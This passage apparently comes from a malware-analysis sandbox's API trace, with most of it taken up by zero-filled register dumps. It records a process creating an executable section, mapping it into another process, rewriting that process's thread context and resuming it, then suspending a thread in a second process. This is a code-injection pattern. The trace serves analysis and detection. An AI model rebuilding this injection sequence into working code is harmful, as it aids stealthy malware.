[6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0584.637] NtCreateSection (in: SectionHandle=0x6be5b4, DesiredAccess=0xf001f, ObjectAttributes=0x0, MaximumSize=0x6be574, SectionPageProtection=0x40, AllocationAttributes=0x8000000, FileHandle=0x0 | out: SectionHandle=0x6be5b4*=0x214) returned 0x0 [0584.637] NtMapViewOfSection (in: SectionHandle=0x214, ProcessHandle=0xffffffff, BaseAddress=0x6be5bc*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x6be574*=0x134a00, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x6be5bc*=0x5680000, SectionOffset=0x0, ViewSize=0x6be574*=0x135000) returned 0x0 [0584.644] NtMapViewOfSection (in: SectionHandle=0x214, ProcessHandle=0x20c, BaseAddress=0x6be5b8*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x6be5b0*=0x134a00, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x6be5b8*=0x11a0000, SectionOffset=0x0, ViewSize=0x6be5b0*=0x135000) returned 0x0 [0584.664] NtUnmapViewOfSection (ProcessHandle=0xffffffff, BaseAddress=0x5680000) returned 0x0 [0584.691] NtClose (Handle=0x214) returned 0x0 [0584.691] NtSetContextThread (ThreadHandle=0x1e4, Context=0x6be5f4*(ContextFlags=0x10007, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x2b, SegFs=0x53, SegEs=0x2b, SegDs=0x2b, Edi=0x0, Esi=0xd9f75c, Ebx=0xff0000, Edx=0x0, Ecx=0x0, Eax=0x1, Ebp=0xd9f704, Eip=0x1242927, SegCs=0x23, EFlags=0x202, Esp=0xd9f6ec, SegSs=0x2b, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0584.691] NtResumeThread (in: ThreadHandle=0x1e4, SuspendCount=0x0 | out: SuspendCount=0x0) returned 0x0 [0584.691] NtClose (Handle=0x20c) returned 0x0 [0584.692] NtClose (Handle=0x1e4) returned 0x0 [0584.694] NtOpenProcess (in: ProcessHandle=0x6be938, DesiredAccess=0x438, ObjectAttributes=0x6be900*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x6be918*(UniqueProcess=0xb9c, UniqueThread=0x0) | out: ProcessHandle=0x6be938*=0x1e4) returned 0x0 [0584.694] NtQueryInformationProcess (in: ProcessHandle=0x1e4, ProcessInformationClass=0x1a, ProcessInformation=0x6be928, ProcessInformationLength=0x4, ReturnLength=0x0 | out: ProcessInformation=0x6be928, ReturnLength=0x0) returned 0x0 [0584.694] NtQueryInformationProcess (in: ProcessHandle=0x1e4, ProcessInformationClass=0x0, ProcessInformation=0x6be5ac, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x6be5ac, ReturnLength=0x0) returned 0x0 [0584.694] NtReadVirtualMemory (in: ProcessHandle=0x1e4, BaseAddress=0xdcc000, Buffer=0x6be8c0, NumberOfBytesToRead=0x20, NumberOfBytesRead=0x0 | out: Buffer=0x6be8c0*, NumberOfBytesRead=0x0) returned 0x0 [0584.694] NtDelayExecution (Alertable=0, Interval=0x6be594*=-50000000) returned 0x0 [0589.718] NtOpenThread (in: ThreadHandle=0x6be92c, DesiredAccess=0x1a, ObjectAttributes=0x6be578, ClientId=0x6be590*(UniqueProcess=0x0, UniqueThread=0x428) | out: ThreadHandle=0x6be92c*=0x20c) returned 0x0 [0589.718] NtSuspendThread (in: ThreadHandle=0x20c, PreviousSuspendCount=0x0 | out: PreviousSuspendCount=0x0) returned 0x0 [0589.718] NtMapViewOfSection (in: SectionHandle=0x1f4, ProcessHandle=0x1e4, BaseAddress=0x6be5cc*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x6be5c8*=0x9c4000, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x4 | out: BaseAddress=0x6be5cc*=0x2be0000, SectionOffset=0x0, ViewSize=0x6be5c8*=0x9c4000) returned 0x0 [0589.723] NtGetContextThread (in: ThreadHandle=0x20c, Context=0x6be5f4 | out: Context=0x6be5f4*(ContextFlags=0x10007, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x2b, SegFs=0x53, SegEs=0x2b, SegDs=0x2b, Edi=0x0, Esi=0xf3f9d0, Ebx=0xdcc000, Edx=0x0, Ecx=0x0, Eax=0x1, Ebp=0xf3f978, Eip=0x7742295c, SegCs=0x23, EFlags=0x216, Esp=0xf3f960, SegSs=0x2b, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, 